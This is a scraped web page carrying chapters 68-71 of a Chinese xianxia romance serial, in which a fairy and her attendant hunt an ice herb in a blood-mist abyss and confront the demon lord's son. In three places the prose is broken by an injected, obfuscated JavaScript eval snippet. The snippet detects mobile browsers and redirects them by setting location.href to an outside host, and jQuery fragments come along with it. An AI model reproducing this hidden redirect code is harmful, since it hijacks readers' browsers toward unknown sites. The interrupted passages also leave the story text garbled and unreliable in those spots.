“没错,仙子。”呼呼刮过的海风和颜故轻柔的嗓音一起擦过青晏的耳畔,“如今我的答案也是一样的。因为你是我的前辈,因为你对我关怀备至,我情不自禁想要投桃报李,想要尽我所能地贡献出自己所有的力量,哪怕它们在仙子眼中看来可能微不足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932463|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。” “也没有微不足道。”青晏转过头去,“你之前确实帮了不少忙。” “那之后还让我继续发光发热好不好?”颜故摇了摇指尖上的光,“就像这个小光束一样,虽不耀眼,却愿为了仙子长明,可以吗?” 他的语气实在是过于诚恳,声调里又带着软软的勾子,饶是青晏还在生气他之前的隐瞒,此刻的心却也慢慢软化下来。 她抿了抿唇,很轻很轻地点了下头。 颜故指尖的光瞬间明亮了几分,身子也小心翼翼地靠得更近了些:“那仙子能不能再答应我一件事?” “得寸进尺,”青晏白他一眼,但还是道,“说吧。” “仙子可不可以答应,以后无论再遇上什么样的事,都会起码先给我一个解释的机会,然后再考虑如何处置我?”颜故定定地看着她,“不要立刻就用刚才那样的眼神看着我……” “我刚才的眼神怎么了?” “很可怕,”颜故的声音有着极轻的颤抖,“就好像在看一个完全陌生的人。疏离、冷峻、凛冽……只刚才那一眼,我心中便已迅速生出许多惶恐,直到现在也仍有余韵。” 四周只剩下海浪拍打水面的声响,一波又一波,仿佛永无止境。细小的水珠溅上青晏的指尖,触感微凉。她下意识地低头看了一眼,随即将那水珠轻轻捻了捻,张开手指,任由海风将那一抹湿润吹干。 “只要你不再对我有所隐瞒,我自然不会再那样看你。”仿佛是心中那抹焦躁的情绪被水珠带走,青晏最终决定答应下来这个在她看来无伤大雅的请求,“生气也是很累的。” 颜故的喉结轻轻滚动了一下。 “不会了,仙子,”他听见自己用最温顺的声线开口,“从今往后,绝不会再刻意隐瞒。” 愈发波涛汹涌的海浪声足以掩盖他胸腔下越来越急促的心跳,可颜故还是不由自主地将指尖按了上去。此前为了展露咒印而透明的衣料在他的碰触下重新恢复原样,十分巧妙、也十分安全地让他短暂地安抚住了自己的心。 得了承诺的青晏迅速将这页翻了过去,转而开始将心思放在更紧要之事上。 “虽然元泽方才说其他地方也有可能有冰澜草存在,但天下之大,即便有这草根感应,怕也是大海捞针。所以我觉得不如先去混沌裂谷和血雾虚渊看看,若是连那两处也没有,那我们便只能带着这草根四处游荡了。” 青晏仰头望着仍是漆黑如墨的天空,叹息里有着一丝罕见的疲惫:“说来有点可笑,我虽是神仙,此刻却也想求老天保佑。”她的双脚踏上结实的地面,“只是我自己心里也清楚,没有人能……” “那不如把我的份也一起算上。” 颜故的声音忽地响起。 他的靴底踩过潮湿的砂砾,发出细微的声响。月光随着他迈向她的步伐坚定地穿透云层,在他清绝的眉眼间投下斑驳的光影。 “我也来祝仙子,”他微微倾身,目光灼灼地望着她,“所愿皆能得偿。” 68.潜藏 青晏与他对视片刻,忽地轻笑一声:“好,小许愿仙。” 她环顾四周,目光落在一艘废弃已久的渔船上。青晏轻盈地跃上船舷,随即默默运转起法力,脑海中浮现出方才所见的那株冰澜草的模样。 几近透明的冰蓝色……剔透的茎秆……凝结着细密霜纹的叶片……元泽还说完全长成后会再多四片叶子…… 不多时,一株看起来和方才生长在龙族圣地的那株冰澜草长相几乎一致的冰蓝色小草出现在青晏掌心。因着怕自己的幻化之物力量不及真正的冰澜草那般强劲,青晏索性多幻化了几株,随后便通过玄元镜将这几颗冰澜草送至了玄镜宫藏宝阁里。 明煦接收到她的传念后立刻一个鲤鱼打挺蹦了起来,拉着初三就要去找一片没人的地方尝试,却又被青晏叫住。 “你……尽量多在天帝身边待着,跟他多学点东西。如今动荡颇多,就算有再好玩再奇特的事情也不要到处乱跑。” 明煦听得一头雾水。 我在天界这么安全的地方还需要注意这些吗? 不过出于对青晏的信任,明煦还是一口答应下来,拍着胸脯信誓旦旦道:“放心吧,我会在家守好咱们这一亩三分地的!” “守好你自己和初三就行,小祖宗。”青晏若无其事地和她像平常那般打趣着,却在结束与明煦传念的下一刻立即联系了宸景,将对明煦下手之人极有可能隐藏在天界一事告知给他。 出乎她意料的是,宸景这次居然没有在她脑子里震怒,话语间反而带着一股深深的疲惫:“知道了。” 青晏敏锐地察觉到他的异样:“怎么了?” “我派去查探的人刚刚来报,那本记载着如何用渡生藤下禁制的典籍,是向明仙圣所撰的《无定天箓》,”宸景叹息道,“但很麻烦的是,这本典籍并不难得,全天界但凡叫得上名号的仙子仙君,只要想看,都能借阅。” “但并不是所有人都有连续收集这么多根渡生藤的本事,”青晏立即道,“更何况,施术者的修为最少要在受术者的两倍以上。能成功下出这样禁制的人,修为至少要有两万两千年。加上这个条件,剩下的人怕是不多了吧?” “我已这么筛过一轮了,但仍有七八位符合条件之人。我已经加强了防范,这些人不会有机会接近明煦,我们再接着渡生藤的线索慢慢查下去,总有水落石出的那天。” 青晏抿了抿唇,没有应声。 因为其实还有更快的办法——引蛇出洞。 就像她此前和宸景提过的那样,由她扮作明煦的样子在外单独行走一段时间,诱那人下手。届时他们便能瓮中捉鳖。一举揪出幕后黑手。 然而一想到上次说这个办法的时候宸景就对此举颇有微词,青晏便打算还是暂时按下不提,待她将初三这边的事解决完之后便直接行动。于是她随口敷衍了宸景两句,便结束了和他的传念。 颜故始终安静地坐在船舷边,任由海风将他衣袂吹得上下翻飞。他出神地望着被潮水反复打湿的沙滩,直到青晏全都忙完了才转过头,对着她展露出自己温和宁静的笑颜。 青晏见状却心头一动,忽地想起刚才元泽提到那些渡生藤可能与天界有着千丝万缕的关系时,颜故面上那无比凝重的神情。 她索性直接将此疑惑问了出来。颜故闻言却没有太大反应,只是淡道:“我只是在想,若对仙姬下手之人真的隐匿在天界,那么此人极有可能是其他界安插在天界的探子,隐忍多年,只为一朝突袭得手……” 他的眸中似有云雾缭绕:“想想看,如此心怀鬼胎之人或许就潜藏在你我身边,一边带着那肮脏的、见不得人的心思处心积虑地谋算,一边堆起笑脸装作一副天下太平的样子……多么令人作呕。” “你也这么想吗,仙子?”颜故的声音轻得仿佛下一瞬就要飘散在海风里。 青晏认同地点了点头:“你说得对,所以要尽快祛除这样的威胁才好。” 颜故没有接话,只是眼中氤氲着的雾气更浓了。 他扯了扯唇角,忽然换了个话题:“若是仙子幻出的冰澜草仍达不到想要的效果,我们接下来是该先去混沌裂谷,还是血雾虚渊呢?” 青晏叹了口气,目光落在仍未平静的水面上:“如果非要在它们两个中间选的话,还是血雾虚渊稍微好应付一点。虽然那里常年弥漫着厚重的血雾,稍有不慎就会腐肉蚀骨、吞噬精魂,又常有凶猛异常的各类怨灵出入其中,但至少这些危险是我们能看得见,也可以尽量预防的。” “可混沌裂谷……”她眉心皱起,语气也渐渐沉了下来,“则毫无章法可言。有人说这里是混沌初开时留下的残片,任何事都有可能在其中发生,甚至连天地间的基本秩序都有可能改变。我曾从典籍中读到过一些关于它的传言,每一则都离奇诡谲,却又各不相同。所以若非万不得已,我们绝对不该轻易涉足此地。” “没关系,仙子,”颜故的目光始终落在青晏身上,“无论去哪我都会和你一起,不必担心。” “真是初生牛犊不怕虎啊……”青晏感慨,“不过也是,有你师父的护体灵力,再加上天帝赐予你的庇佑之力,你可能确实敢天不怕地不怕。” “就算什么都没有,我也会和仙子一起去,”颜故指了指自己的头,唇角微微扬起,“毕竟我这里还是很好用的,仙子之前不是也这么夸过我吗?” 青晏简直要被他这突如其来的乐观给折服了,一边摇头一边笑叹:“对,我是这么说过。” “如果仙子说这话的时候不摇头,那就更好了,”颜故眉眼中的笑意更深,“说不定我这脑子受了夸赞后,还能变得更好用呢。” 青晏本想再揶揄他两句,脑海中却忽地闪出明煦失落的声音。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945804|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >原来,明煦努力了很久,却发现那些幻化出来的冰澜草虽说要比冰澜草露水的效果强上一些,却也只能让幽煞珠在初三体内乱窜的幅度更大,无法顺利将其逼出体外。即便将那几株幻化的冰澜草全都用上,效果也并没有显著的变化。 虽说青晏对此情况早有准备,心中却也免不了生出几丝沉重。但她还是压下自己的情绪,轻声安抚好了极为沮丧的明煦,直到她情绪渐渐平复下来才收回神识。 再转眼时,颜故已然站起身来,如同那日在人界仙音阁的楼梯处一般,朝她伸出了自己那双线条流畅、充满力量的手。 月光洒落在颜故肩头,为他全身镀上一层淡淡的银辉,他身上那套本就清绝得有些过分的衣裳,现下在月光的映衬下则更是冷冽得有些锋利。青晏望着他,心中忽然闪过一个念头。 这人好像一片永不会融化的冰湖。 然而此刻这“冰湖”唇边却挂着如春风般和煦的笑意,声音也满怀愉悦:“走吗仙子,我们冒险去?” 她依然没有把自己的手放入他的掌心,但却含笑地应了:“走,冒险去。” -------- 血雾虚渊。 就在踏入这个凶险之地的那一瞬间,青晏便感觉到一股浓重的压迫感随着四周弥漫着的血雾向她扑面而来。那些血雾仿佛有自己的意识般在她身边盘旋缠绕,竭力地侵蚀着她的一切,饶是她身上有着两万余年的修为,以及那重宸景特意降下的天帝庇佑,灵力运转仍不免有些滞涩。 青晏下意识地回头望向颜故,生怕他随时不声不响地倒在自己身后。 然而颜故的情况却比她预想中要好上一些。尽管他面色略显苍白,眉峰也紧紧蹙起,但颜故的步伐却依旧稳定,每一步都走得极为踏实。见青晏回头,他面上立即现出一个镇定的笑容,可声音却听着有些虚弱:“我没事,仙子继续走吧。” 青晏略一思索,又从镜中取出几瓶仙丹递给颜故,却被他轻轻推开:“进血雾虚渊前不是已经服过一些了么,我如今感觉尚可,仙子还是留着吧,或是自己用。” “我暂且用不上,”青晏坚定地将瓶子塞进他手中,“况且留这东西做什么,你这脸色看起来可不算好,正是该用仙丹的时候。” 颜故拗不过她,只好将瓶子接了过来,打趣道:“若都被我吃光了,仙子日后座下收了新仙使,可该给他些什么好呢?” 掌心里不断释放着微弱寒意的冰澜草根指引着青晏转过一处岔路。她边走边道:“你可饶了我吧。带人游历这种事,我做一次就已经够了,这还是在有你这么个省心的仙使的前提下。待你们游历结束正式晋为灵君之后,我便要立即和宸景告假,说什么也要躺平个至少一万年。” “那一万年之后呢?” 颜故望着她的背影,语气里有一丝连他自己都未曾察觉到的期待。 69.遇魔 “这么久远的还没想过,但无论如何我都绝不会再带人去游历了。”青晏长叹,“就让我继续以维护幻境的方式为天界做出贡献吧……这样对谁都好。” “所以我将是仙子座下唯一的仙使?”颜故倏地抬起眼来。 经他这么一提醒才想到这层的青晏恍然地“啊”了一声:“确实如此。” 她转念一想,又笑道:“说来也有趣,我这么个懒散的人偏偏遇上了你这样聪明稳妥、一点就透的仙使,连一句废话都不用多说,还真是巧。” 颜故眼眸闪了闪,唇角勾起一抹弧度极为完美的笑:“是啊仙子,真的很巧。” 他一步步地跟在青晏身后,目光始终落在她的背影上。就在两人转过一处拐角时,颜故忽然听到一声极轻的“嘶”声,紧接着便差点撞上青晏的后背。 他手中长剑立即出鞘,却听见青晏偏过头,语气略有些不平稳地对他道:“没什么危险,我就是……看见了一些东西。” 颜故顺着青晏的前方望去,只见不远处一些形态极为诡异,超出常人理解的灵体正在和彼此不住撕扯扭打,各种所谓的肢体器官散落一地,又被它们胡乱捡起拼上,甚至逐渐融为一团,变成更加可怖恶心的存在。 他轻笑出声,调侃道:“所以仙子是觉得它们长得太丑了,看着眼睛疼?” “……算是吧,确实长得有些太随心所欲了,看得我有些不太舒服。”青晏深吸一口气,“无妨,我将视力稍稍降低一些便是,反正有冰澜草根的指引,大概能看清脚下的路便足够……” 她话还没说完,眼前忽然出现一汪清泉般的柔和光泽。 是颜故剑首镶嵌着的那块温润细腻的玉石。 颜故将剑柄调转递到青晏掌心,而将剑尖引至自己手中,看着她道:“血雾虚渊危机四伏,仙子的灵力还是不要浪费在这种地方了。” 他俏皮地向她眨眨眼,嗓音里带着三分笑意:“我来做仙子的眼睛。那些难看的东西仙子都不必看,只需告诉我冰澜草根指引的方向便好。” 青晏下意识地退了一步:“不行,这不妥。我稍微克服一下就过去了的事……” “可我不需要克服啊,”颜故接过她的话,眸中闪过一丝狡黠,“如此简单方便的办法,仙子为什么不用呢?” 他隔着重重血雾观察青晏的神情,话音里多了一丝若有若无的委屈:“该不会是信不过我吧?” “那倒没有。”青晏迅速道。 她也说不出为什么自己第一反应就是拒绝,仿佛这是刻在她神魂里的本能。可仔细想想,这确实是一个不需要耗费任何法力的好办法。只不过要让自己完全闭上眼,将视线乃至可能的安危完全交至另一个人手中,这样的事青晏即使在平日里也做不出来,更何况是在这极度危险的血雾虚渊。 但她确实又不想拂了颜故的好意,遂在犹豫片刻后轻轻握住了他的剑柄,微微闭上眼,示意他可以开始领路了。 颜故注意到了她仍高昂着的脖颈和未完全阖上的双眼,却也没有戳破,只是笑了笑,静静地用剑柄牵着她,朝着血雾虚渊的更深处前去。 左拐,左拐,再右拐…… 一片又一片的丑陋灵体随着他们的步伐被抛在身后,青晏那原本只是微微落下的眼皮也和脖子一样逐渐垂得越来越深,直至只露出一条将将能看清脚下路面的浅浅缝隙。 看不见那些令人心烦的东西,确实好过很多,青晏愉快地想。 因为几乎完全闭着眼,青晏并没有注意到颜故时不时回头看向她的温柔目光,只是偶尔根据掌心冰澜草根的温度,出声提醒颜故及时改变方向。而颜故每次也都会先将头转回去,再轻声应答。 尽管他知道在这充斥着诡异灵体吼叫的血雾虚渊,青晏不太可能分辨出他回答的声音是不是从更近的地方传来,然而刚刚经受了青晏冷眼的他却谨慎得连一丝纰漏都不敢再留下。 随着他们不断深入,青晏掌心的冰澜草根寒意越来越重,然而她的神情却愈发柔和,唇边的笑意也逐渐加深。 如今看来典籍里所记载的是对的,血雾虚渊里确实藏有一株冰澜草。若是这株冰澜草恰好已经完全长成,或是很快就要长成…… 她正暗自欣喜地描摹着极为乐观的画面,却忽然感到侧方有一股凌厉的魔气疾冲而来。青晏猛地睁开眼,玄元镜瞬间浮现在她手中,然而那道魔气却径直掠过他们身边,朝着血雾深处疾驰而去。 紧接着颜故闷哼一声,青晏闻声立刻走到他身前,一眼便见到他脸颊和脖颈上已然出现了数道细长血痕。 “不碍事,被刚才那道魔气擦到了而已,”颜故扭头避开青晏指尖冒出的白色光点,“不用管,待找到冰澜草再说。” “谁知道冰澜草要多久才能找到,这么一直疼着可不好。”青晏将手指在他面庞上方一拂而过,“这点小法力还不至于起到什么定生死的作用。” 白色光点如轻雪般落在他的伤口上,血痕飞快地愈合着,很快便恢复如初。 青晏对着颜故那张重新变得完美无瑕的脸满意地点了点头,然而下一瞬,一道更为猛烈的魔气以更快的速度从他们身边擦肩而过,其中甚至还掺杂着一道隐隐约约的怒吼:“给老子回来!!!” “这是……魔界内斗?”颜故目光紧紧锁住那两道魔气狂奔而去的方向。 “或许吧,随他们怎么斗,我们只安心找冰澜草就是。” 四周近处已经没有那些不住撕打着的扭曲灵体,青晏拿着冰澜草根往不同方向走了几步,却发现寒意最为深重的那个方向,竟然就是那两道魔气狂奔而去的地方。 她心中猛地一沉。 该不会他们也是为了争夺冰澜草而来的吧? 此时已经顾不得在血雾虚渊里需要保存灵力的事了,青晏一把拉起颜故,朝着那两道魔气的方向疾追而去。 两道青白相间的耀眼炫光划破浓重的血雾,紧咬前方那两道暗红魔气不放,这绚烂的画面竟引得那些原本撕扯不休的灵体纷纷停下动作,呆呆地抬头望着它们此前从未见过的景象。 青晏越追越心急如焚。 掌心的冰澜草根寒意愈发深重,而那两道魔气的方向却始终笔直向前,连一丝偏差都没有,摆明了也是冲着冰澜草去的。 她一边疾追,一边不断从玄元镜中取出仙草仙丹一股脑地塞给颜故:“快,一会儿说不准有 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那人生着一副张扬的少年轮廓,眉锋如出鞘利刃般锋利,硬生生将他那双本带着点稚气的眼衬出了几分桀骜。如山岳般宽厚的肩背上布满了暗金色的铠甲,胸膛正急速起伏着,显然是气得不轻。 他狠狠往他们这边瞪了一眼,随即急急冲到那仍在地上翻滚的魔气旁,叽里咕噜地低吼一大串,伸出手就要朝它捉去。而此时地上那道魔气也慢慢消隐,露出它本来的模样。 青晏打量着它——居然是一头赤焰魔犀,瞧这体型像是刚刚成年。这样小的魔兽不老老实实待在魔界里,跑到血雾虚渊里来冲冰澜草发什么疯? 她赶紧看向冰澜草,见它仍安然无恙地在原地散发着寒气,这才略略放下心,开始数起叶片的数量。 一片、两片、三片……一共九片叶子。也就是说,这株冰澜草还有五百年便要成熟了! 青晏眼中闪过一丝惊喜,指尖法力如流水般涌向冰澜草,准备为其布下一层保护结界,然而那魔犀却忽然暴起,猛地顶开魔族少年的手,再度怪叫着朝冰澜草袭去。 “砰——” 一声巨响炸裂开来,那魔犀竟毫无征兆地狠狠撞上一堵厚重坚固的冰墙,霎时间血花飞溅,哀嚎阵阵。颜故平静地挽了个剑花,数片飞霜如蝶般附上魔犀的四蹄,寒气迅速蔓延,眼见着就要将它冻结在原地。 然而那赤焰魔犀却仿佛彻底陷入了癫狂。伴随着一声狂嘶,它头顶上的巨角骤然迸射出血色雷霆,瞬间将冰墙与飞霜通通击得粉碎,四蹄猛踏,竟又一次朝着冰澜草闷头狂奔而去。 这东西疯了不成! 青晏心中暗骂,手中动作却丝毫未停。她一边急速为冰澜草布下护体结界,一边将玄元镜祭出,试图用镜光定住那丝毫不受控制的癫狂魔犀,然而一道刚猛至极的魔气却骤然横挡在它上方,硬生生截断了镜光。 那魔族少年的修为似是和他的脾气一样暴烈,转瞬间连发三招猩红魔焰卷向他们,厉声道:“真是活腻歪了!本君的魔犀你们也敢动?!” 本君? 青晏与颜故对视一眼,彼此都从对方眼中看到了明显的震惊。 难不成这一路随着赤焰魔犀狂追过来的魔族少年,就是前不久偷偷从魔界溜走的魔尊独子——沉乾? 70.诘问 那传闻中因不愿继位成为新任魔尊、也不愿意接受被安排的婚事的魔尊独子,如今单手扣住魔犀的角,赤红魔纹在眼角若隐若现。他冷冷注视着前方两道模糊的光影,沉声道:“何方宵小,竟敢一路尾随我至此,又屡屡对我的魔犀下手?” 青晏抬手一挥,障眼法如薄雾般散去,她与颜故的真容逐渐显露在沉乾面前。 沉乾一愣,忍不住低声嘟哝:“靠,怎么都长这么漂亮。” 但随即他便挺直腰板,怒道:“漂亮怎么了!漂亮就能随便打别人的爱宠吗!” 青晏神色冷淡:“你的爱宠眼见着就要毁了一株很快就要成熟的草药,我自然要拦。” “那稍微拦一下就行了,凭什么下这么重的手啊!”沉乾气呼呼地指着满头是血的魔犀,“它才多大点儿啊!” 颜故闻言,目光转向那头几乎有小山般大小的赤焰魔犀,眉梢微挑。沉乾立即大声辩解:“它就是这种体型!你不要因为它长得魁梧就觉得它如何如何了!它还是个孩子!” 青晏懒得纠正他的认知:“那就麻烦这个‘孩子’,离那株草远一点。” “凭什么!你算老几,你说远一点就远一点?!”沉乾眼角的魔纹灼灼发亮,声音也拔高了几分,“它就是冲这个来的!” “它要这个做什么?”颜故立即追问。 沉乾的嘴唇动了动,吐出几个含糊不清的字:“它……了。” 青晏起初以为这是某种魔语,但仔细分辨后却发现并非如此,于是继续问道:“它怎么了?” “就是,就是…………了。”沉乾的发音更加模糊,仿佛有什么难言之隐。 青晏的耐心已经几乎被消耗殆尽:“不想说?”她抬手一挥,玄元镜再度流转起熠熠银辉,“没关系,不管是什么原因,今天这株草药它别想再靠近半步。” 沉乾猛地抬头:“就凭你,也想威胁我?!不自量力!” 好容易稍微平静下来一点的魔犀此刻似是感受到了主人的怒意,仰头发出一声震天动地的大吼。它额间巨角燃起熊熊烈火,浑身也渗出岩浆般的纹路,庞大的身躯如同一座移动的火山,朝着青晏的方向轰然撞去。 青晏凌空而起,镜光一闪便消隐不见。那魔犀忽然没了目标,立即急急刹住脚步,蹄子在地上激起漫天土屑。它摇了摇头,很快调转方向,一边嘶吼一边朝颜故的方向狂奔。 然而下一刻,魔犀再次停下脚步,巨大的头颅慢慢歪向一边,金色瞳孔里满是疑惑。 它不明白,为什么眼前这人突然变成了七个? “雕虫小技!”沉乾哼冷一声,手中战斧横扫而出,瞬间将六个颜故的幻影劈散,而后斧柄一转,巨大的斧刃朝着真正的颜故呼啸而去。 “对付你这不成气候的赤焰魔犀,确实用不上什么高明的招数。”青晏清冷的嗓音不知从何处传来。 玄元镜突然折射出一道璀璨银芒,精准照射在飞旋着的斧刃上,沉乾的战斧竟就在这镜光中诡异地偏转了方向,朝着自己主人的左肩斩去。沉乾暴喝一声,周身魔气暴涨,硬生生抵住了巨斧的攻势。 “神仙……阴险!”沉乾眼角魔纹殷红如血。 他一脚狠狠踏向地面,焚天烈焰瞬间自他脚下蔓延开来,浓烈魔气随火焰升腾,不断压迫着本就因为血雾侵蚀而法力运转滞涩的青晏与颜故。沉乾趁此机会将战斧舞出道道残影,朝着他目前尚能看得见的颜故劈头盖脸斩去。 颜故剑尖如游龙般疾点,数道冰棱破空而出,化作两条寒冰锁链一左一右缠住巨斧,让它不能再继续前进。沉乾嗤笑一声,手指一弹便用魔气将那锁链震碎。 战斧去势不减,眼看就要劈中颜故,魔犀见状忽然发出一声兴奋的嘶吼,蹄子在地面一刨,转身又朝着冰澜草急速狂奔。 天空忽然炸开大片水雾。 无数水珠凝成冰剑,随着颜故的法力引动如雨般倾泻而下。玄元镜镜光所到之处,水雾与冰剑的数量便成倍增长,铺天盖地地朝着魔犀与沉乾压去。 沉乾眼角魔纹更亮,一条烈焰火龙自他掌中腾空而起,呼啸着将漫天冰剑尽数吞噬。而那魔犀身上虽被冰剑扎出数道伤口,却仿佛感受不到疼痛一般,依旧执着地朝着冰澜草猛冲,仿佛这便是它存在的全部意义。 可很快它便跑不动了。 魔犀惊恐地看着自己头顶、脚下、前后、左右、每一个方向都倒映着无数个自己。它试探着向前迈步,那些魔犀也齐刷刷地向前;它后退,那些魔犀也跟着后退。而除了这些和它长得一模一样,甚至连眼中流露的恐惧都如出一辙的魔犀,周围什么都没有。 就连血雾虚渊里终年不散的浓郁血雾都消失得无影无踪。 “吼——” 它猛地朝其中一只魔犀撞去,然而那些镜像中的魔犀也同时向它冲来,无数根巨角刺入它的身体,在它身上留下密密麻麻的血洞。剧烈疼痛让它在地上不住翻滚,可那些血洞很快就飞速愈合,只留下如骨附蛆的痛楚在它体内肆虐。 沉乾听见自己的爱宠发出他此前从未听过的凄厉哀嚎,心头猛地一紧,顿时一个闪身回到它身边,摸着它的额头轻声安抚。可那魔犀却似根本听不见般凝在原地,口中嘶叫连连,听得沉乾心如刀割。 他猛地站起身来,瞳孔里燃起熊熊怒火,对浮在空中的玄元镜大叫:“你究竟用了什么邪术!快点停下!” “立即停手,否则就看着你的爱宠被困在幻境里,垂死挣扎却永不得出。” 青晏的身影忽然出现,悬在空中俯视着沉乾。她广袖翻飞,镜面中映出魔犀方才所感受到的一切:“怎么样,停手吗?” 她的声音平静到没有一丝波澜。 明明是商量的语气,可沉乾却分明感受到这个问句的强硬与不容拒绝。他愤怒地咬了咬牙,骂道:“你这样欺负一只灵智未开的魔兽,自己难道不觉得没脸吗?!有能耐继续和我战啊!” 青晏轻轻抬手,魔犀顿时发出更加绝望的哀号。那声音凄厉钻耳,甚至引来了无数扭曲灵体在远处暗暗窥视。 “你可以继续骂,我无所谓,”青晏淡淡道,“但你的爱宠是不是也无所谓,那就不一定了。” 沉乾的掌心握得死紧。 他自然可以继续打下去,可每拖延一刻,自己的宝贝犀犀就要多承受一刻的痛苦。而这两个臭神仙想要的,也不过是让犀犀别再接近那株不知道为什么凉得要死的药草。 沉乾不甘心地舔了舔嘴唇。 算了,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954429|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不让它去吃这破草了,总有别的东西,或是别的办法能让犀犀缓解…… 随着一声闷响,巨斧重重杵在地面上,溅起一片血雾。沉乾深吸一口气,高声道:“行,停战!” 青晏心中终于松下一口气,随即解开了魔犀眼前的幻象。 这里的血雾对魔族影响不算太大,可自己和颜故却没办法在法力运转得如此滞涩的情况下,与魔功本就强悍的魔尊独子再纠缠上许多回合,方才那办法也是她冒险赌了一赌。 还好这未来的小魔尊比较好糊弄。 魔犀本在闭着眼呜呜咽咽地哭泣,忽地感觉到自己头上传来了一阵熟悉的感觉。 它小心翼翼地睁开眼,发现周遭全都恢复了正常,而自己的主人正站在面前温柔地抚摸着自己的头。小山般的魔犀顿时发出一声委屈的哭号,巨大的身躯猛地朝沉乾怀里拱去,吓得沉乾连忙运转魔功,将身上的暗金铠甲又加固了一层。 “所以现在能说了吗?”青晏轻盈地落至地面,目光依旧紧紧锁住那头在沉乾怀里拱来拱去的魔犀,“它到底为什么非要冲着那株药草去?” 她必须弄明白这一点,否则万一她和颜故前脚刚走,后脚这未来的小魔尊就带着支援过来,非要把冰澜草挖走呢?她的结界再强,也抵挡不住魔界大军的围攻啊。 “它……”沉乾的脸上忽然飞起一抹红晕,“它……” 他支支吾吾了半天,直到看见青晏手中的玄元镜又开始隐隐放出光芒,这才迫不得已地大吼道:“它发情了!” 完全没有料到会是这个答案的青晏迷茫地张开嘴:“……啊?” 见面前两个神仙皆是一副被雷劈中了的错愕模样,沉乾心中忽地涌起一阵得意。他索性破罐子破摔地连连叫道:“对啊!就是发情了!发情了!!发情了!!!浑身燥热!心中难耐!所以才要找这冰凉的破草缓解!你们怎么就不能理解一下!难道你们没发过情吗?!” 青晏的眉毛慢慢挑得更高了。 现如今的魔族都是这么讲话的?万年前的天魔大战里他们可不是这样…… “自然没有,”颜故面无表情地反问,“难道你有?” “我……”沉乾张口结舌,脸上红晕更甚,梗着脖子道,“我自然也没有!” 他心中暗暗对这两个神仙一顿狂骂:牙尖嘴利、刻薄带刺、阴险狡诈、一肚子坏水……可骂着骂着,他脑中却忽地浮起一个绝妙的主意。沉乾咂吧了半天,仔仔细细地又想了几遍,越想越觉得这主意简直妙不可言,遂咧嘴一笑,露出一口白牙。 “哎,那个女神仙,”他对青晏道,“你叫什么?” 青晏颇为无语地看了他一眼:“日后要找我寻仇?” “这点小事儿还犯不上,”沉乾扬了扬下巴,“知道我是谁吗?” “……应该知道吧。” 沉乾不满地皱眉:“什么叫应该知道?算了不管了,我告诉你。” 他挺了挺腰板,傲然道:“我是当今魔尊独子,叫沉乾。你听说过我吧?” 青晏眯眼:“……你要干嘛?” “我怎么发现你说话总是跟我对不上弦啊?不过没关系,这样反而正好。”沉乾煞有介事地清清嗓子,“咱们成亲吧!” 71.有病 青晏好悬一口气没上来。 一定是这里的血雾有什么问题,她似乎也许好像可能大概是幻听了…… 沉乾见她一声不吭地立在原地,还以为是没听清自己刚才的话,于是又大声重复了一遍:“我说,咱们成亲吧!” 颜故手中长剑“锵”地一声出鞘,冷肃道:“有病就回魔界治,少在这胡言乱语!” “我没胡言乱语!”沉乾急道,“我父尊一直催我成亲,都给我安排了不知道多少个了,可我一个都不想见,我压根就不想成亲!成亲了就得继位成为魔尊,那有什么意思?一点都不自由!” 他又诚恳地望向青晏:“我也不是真的要和你成亲,只是想问问你的名号,回去好跟我父尊交差。就说……就说我偶然遇见你,被你容貌性情深深打动,非你不娶。然而你我两界之间素有深仇,父尊肯定不同意,这时候我就可以演一出伤心欲绝、无心过问世事的戏码,就又能混上几千年安生日子了!” 见青晏仍没什么反应,他又一指身旁仍在哼哼唧唧的魔犀:“我刚才可是都让了步,没再让它动那株破草了,你给我个名号,帮个忙总行吧?再说了,魔尊独子被你迷得七荤八素、非你不娶的事,就算传出去也只会让你面上增光不是?” 青晏连看都没看他,将冰澜草的结界加固了几分转身就走,急得沉乾大叫:“你到底叫什么啊!帮帮忙啊!” “你自己编吧。” “编不行啊!我父尊肯定会查的!要是被发现天界压根没有你这号人物,到时候我就惨了!” 青晏脚步不停。 沉乾见状赶紧拉着魔犀追了上去,一路跟在青晏和颜故身后喋喋不休,试图让青晏松口说出自己的名号,甚至还允诺会将他父尊为他成亲而准备的那些奇珍异宝分她两成,又说可以让她摸摸赤焰魔犀的角——因为在魔界这是吉祥的象征。 青晏全程像什么都没听见一般向外走,要不是方才刚与她正常交谈过,沉乾都快要怀疑她是不是耳朵出了什么问题。 他不死心地继续念叨着,语气里带着几分讨好:“我真没有坏心眼,我是因为觉得你长得好看,法术又厉害,能让我父尊相信我真心喜欢你才要这么说的。而且你性子那么……” 